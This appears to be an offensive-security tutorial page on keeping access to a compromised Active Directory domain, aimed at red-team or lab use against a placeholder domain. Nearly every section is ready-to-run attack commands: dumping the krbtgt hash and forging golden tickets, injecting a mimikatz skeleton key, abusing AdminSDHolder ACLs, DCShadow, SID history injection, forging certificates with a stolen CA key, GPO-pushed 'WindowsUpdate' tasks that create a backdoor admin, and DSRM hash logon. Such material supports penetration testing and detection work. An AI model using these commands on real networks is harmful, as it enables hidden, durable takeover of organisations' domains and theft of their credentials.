Persistence
Maintain access to an AD environment after initial compromise. Golden/silver/diamond tickets, skeleton key, AdminSDHolder, DCShadow, SID history injection, GPO abuse, machine account persistence, and certificate-based persistence.
Sections Persistence
You have Domain Admin (or equivalent). Now entrench. These techniques let you regain access even if passwords are changed, accounts are disabled, or your initial foothold is burned. Each has a different durability, stealth profile, and cleanup difficulty.
Persistence Technique Comparison
| Technique | Survives Password Reset | Survives krbtgt Reset | Detection Difficulty | Cleanup Difficulty |
|---|---|---|---|---|
| Golden Ticket | Yes | No (needs 2x reset) | Medium | Easy (rotate krbtgt 2x) |
| Silver Ticket | Yes (per service) | N/A | Low | Rotate service account |
| Diamond Ticket | Yes | No (needs 2x reset) | High | Same as Golden |
| Skeleton Key | Yes | N/A | Low (memory only) | Reboot DC |
| AdminSDHolder | Yes | N/A | Medium | Manual ACL cleanup |
| DCShadow | Yes | N/A | High | Audit and revert changes |
| SID History | Yes | N/A | Medium | Clear SID history attribute |
| Certificate Persistence | Yes | Yes | High | Revoke cert + rotate CA keys |
| GPO Persistence | Yes | N/A | Medium | Remove malicious GPO |
| Machine Account | Yes | N/A | Medium | Delete account |
Golden Ticket Persistence
The krbtgt hash lets you forge TGTs indefinitely. This is the most well-known AD persistence mechanism.
# Extract krbtgt hash
root@localhost:~# impacket-secretsdump corp.local/Administrator:'P@ssw0rd123'@10.10.11.35 -just-dc-user krbtgt
# Store the hash, domain SID, and domain name securely
# krbtgt NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
# krbtgt AES256: 4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114
# Domain: corp.local
# Forge a ticket anytime later
root@localhost:~# impacket-ticketer -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d -domain-sid S-1-5-21-3842939050-3880317879-2865463114 -domain corp.local Administrator
root@localhost:~# export KRB5CCNAME=Administrator.ccache
root@localhost:~# impacket-psexec corp.local/Administrator@dc01.corp.local -k -no-pass
Skeleton Key
A Skeleton Key patches the LSASS process on a DC to accept a master password alongside every user’s real password. Any user can authenticate with the skeleton password while their real password continues to work normally.
# Inject Skeleton Key on a DC (requires DA and access to DC)
PS C:\> .\mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# Default skeleton password is "mimikatz"
# Now authenticate as any user with password "mimikatz"
# Use the skeleton key from Linux
root@localhost:~# netexec smb 10.10.11.35 -u Administrator -p 'mimikatz'
root@localhost:~# impacket-psexec corp.local/Administrator:'mimikatz'@10.10.11.35
Skeleton Key via DVSL (Survives Reboots)
The Directory Virtual Service Layer (DVSL) skeleton key variant patches at a deeper level and can persist across reboots, but requires more privileges.
# Requires /patch to hook the directory service
PS C:\> .\mimikatz.exe "privilege::debug" "misc::skeleton /patch" "exit"
AdminSDHolder Abuse
The AdminSDHolder container has an ACL that gets applied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by the SDProp process. If you modify the AdminSDHolder ACL to include your user, you will automatically get permissions on all protected objects.
# Add GenericAll for svc_backup on AdminSDHolder
impacket-dacledit corp.local/Administrator:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -principal svc_backup -rights FullControl -action write
# bloodyAD alternative
bloodyAD -d corp.local -u Administrator -p 'P@ssw0rd123' --host 10.10.11.35 add genericAll "CN=AdminSDHolder,CN=System,DC=corp,DC=local" svc_backup
# PowerView - add ACE to AdminSDHolder
PS C:\> Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity svc_backup -Rights All -Verbose
# AD Module
PS C:\> $acl = Get-Acl "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local"
PS C:\> $sid = (Get-ADUser svc_backup).SID
PS C:\> $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
PS C:\> $acl.AddAccessRule($ace)
PS C:\> Set-Acl "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local" $acl
Invoke-SDPropagator or manually triggering the ProtectedAdminOpsNow rootDSE modification.DCShadow
DCShadow registers your compromised machine as a temporary domain controller, then pushes malicious changes to AD through normal replication. The changes come from a “DC” so they blend in with legitimate replication traffic.
# Terminal 1: Start the fake DC (requires SYSTEM on a domain-joined machine)
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:primaryGroupID /value:512" "exit"
# Terminal 2: Push the replication
PS C:\> .\mimikatz.exe "lsadump::dcshadow /push" "exit"
Common DCShadow Modifications
# Add a user to Domain Admins (set primaryGroupID to 512)
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:primaryGroupID /value:512"
# Set SID History on a user
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:SIDHistory /value:S-1-5-21-3842939050-3880317879-2865463114-500"
# Modify the AdminCount attribute
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:adminCount /value:1"
SID History Injection
SID History is an attribute designed for domain migrations. When set on a user, the SIDs in the history are added to the user’s token at logon. Inject the Domain Admin SID into a regular user’s SID history, and they become DA at next logon.
# Impacket - modify SID history (requires DA)
# Use DCShadow or direct LDAP modification
# bloodyAD
bloodyAD -d corp.local -u Administrator -p 'P@ssw0rd123' --host 10.10.11.35 add SIDHistory svc_backup 'S-1-5-21-3842939050-3880317879-2865463114-500'
# Mimikatz SID History injection (needs to run on DC)
PS C:\> .\mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:svc_backup /new:S-1-5-21-3842939050-3880317879-2865463114-500" "exit"
# Via DCShadow (more stealthy)
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:SIDHistory /value:S-1-5-21-3842939050-3880317879-2865463114-500"
sIDHistory attribute.Certificate-Based Persistence
If AD CS (Active Directory Certificate Services) is deployed, you can request or forge certificates that provide long-lived authentication independent of password changes and krbtgt rotations.
Request a Long-Lived Certificate
# Request a certificate as Administrator (if you have DA)
root@localhost:~# certipy req -u Administrator@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -dc-ip 10.10.11.35
# The certificate is valid for the template's validity period (often 1 year)
# Use it to authenticate later
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35
Forge a Certificate with Stolen CA Key
If you extract the CA private key, you can forge certificates for any user indefinitely.
# Extract the CA private key and certificate (requires DA + access to CA server)
root@localhost:~# certipy ca -u Administrator@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -backup -dc-ip 10.10.11.35
# Forge a certificate for any user
root@localhost:~# certipy forge -ca-pfx ca.pfx -upn Administrator@corp.local -subject "CN=Administrator,CN=Users,DC=corp,DC=local"
# Authenticate with the forged certificate
root@localhost:~# certipy auth -pfx forged_administrator.pfx -dc-ip 10.10.11.35
# SharpDPAPI to extract CA private key from DPAPI
PS C:\> .\SharpDPAPI.exe certificates /machine
# Certify - request a certificate
PS C:\> .\Certify.exe request /ca:dc01.corp.local\CORP-DC01-CA /template:User
# ForgeCert - forge certificates with the stolen CA key
PS C:\> .\ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject "CN=Administrator" --SubjectAltName Administrator@corp.local --NewCertPath forged.pfx --NewCertPassword Password123
GPO-Based Persistence
Create or modify a GPO to deploy a payload (scheduled task, startup script, registry modification) across the domain.
# pyGPOAbuse - add a scheduled task via GPO
root@localhost:~# python3 pygpoabuse.py corp.local/Administrator:'P@ssw0rd123' -gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" -command "cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" -taskname "WindowsUpdate" -description "Windows Update Task" -f
# SharpGPOAbuse - add immediate scheduled task
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"
# SharpGPOAbuse - add a startup script
PS C:\> .\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" --ScriptContents "net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"
Machine Account Persistence
Create a machine account with a known password and grant it DCSync rights or add it to privileged groups. Machine accounts do not show up in normal user enumeration and rarely attract attention.
# Create a machine account
root@localhost:~# impacket-addcomputer corp.local/Administrator:'P@ssw0rd123' -computer-name 'YOURPC$' -computer-pass 'LongP@ssword!2026' -dc-ip 10.10.11.35
# Grant DCSync rights to the machine account
root@localhost:~# impacket-dacledit corp.local/Administrator:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "DC=corp,DC=local" -principal 'YOURPC$' -rights DCSync -action write
# Later, use the machine account for DCSync
root@localhost:~# impacket-secretsdump corp.local/'YOURPC$':'LongP@ssword!2026'@10.10.11.35 -just-dc
DSRM Password Abuse
The Directory Services Restore Mode (DSRM) password is a local admin password on every DC, set during dcpromo. If you know it, you can authenticate locally on the DC even when AD is offline.
# Dump the DSRM password hash from the DC
PS C:\> .\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
# The DSRM account is the local "Administrator" in the SAM
# Enable network logon for DSRM (required for remote access)
PS C:\> Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior -Value 2
# Authenticate with the DSRM hash (PtH to the DC's local admin)
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:dc01 /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"
DsrmAdminLogonBehavior to 2 allows you to use the DSRM hash for network logon (PtH).